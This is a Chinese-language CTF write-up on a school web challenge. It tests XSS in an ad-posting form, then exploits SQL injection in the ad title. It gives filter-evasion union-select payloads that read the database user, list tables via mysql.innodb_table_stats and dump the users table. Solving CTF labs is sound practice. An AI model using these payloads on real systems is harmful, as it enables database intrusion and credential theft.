支持一下我们学校的题
能登陆,能注册,最近做了个比赛有登录框注入,给我提了个醒!登录框也是可以注入的呜呜呜,明天复现那个题,简单测了一下没有注入,然后一边爆破一遍登录进去看看,可以发广告留言,不是xss就是sql注入,试试xss
<script>alert(1);</script>
等待审核,然后弹窗1,说明存在xss,但是后面就断了思路,没有可以盗取的点,不知道是不是bug,为什么我的一直在弹1,关不完我只好重启个环境呜呜呜。
重启了之后我就不打算走xss这条路了,换个注入试试嘛
简单测试发现标题存在sql注入
过分的是--和%23被ban了,简单fuzz一下发现or 空格也被ban了
不能用order by测试列数,但是可以用group by代替或者直接select无列名注入
空格用联合注释/**/代替
注释#用,'3代替
真有趣。那我们重新测一下发现是广告名存在注入,再测一下广告内容
没有找到什么东西,但是我们发现这里是两个单引号,在测试一下,在广告名输入1'2得到
这家伙,因为后面少一个构成闭合,那我们就输入两个单引号试一下,果然不报错了,这样就得到了注释的效果。我们猜测sql语句是这样的
select * from ads where title = '$title' limit 0,1
所以上面的语句变成了
select * from ads where title = '1'2' limit 0,1
我们就直接构造吧
1'/**/group/**/by/**/23,'
select * from ads where title = '1'/**/group/**/by/**/23,'' limit 0,1
最后发现有22列,这家伙!上面提到了ban了or那就无列名注入select一下发现在2,3位置
-1'union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
发现是root
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
另外Maria数据库的这个表可以查表名:mysql.innodb_table_stats
查表
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
查询数据
-1'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)/**/as/**/b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'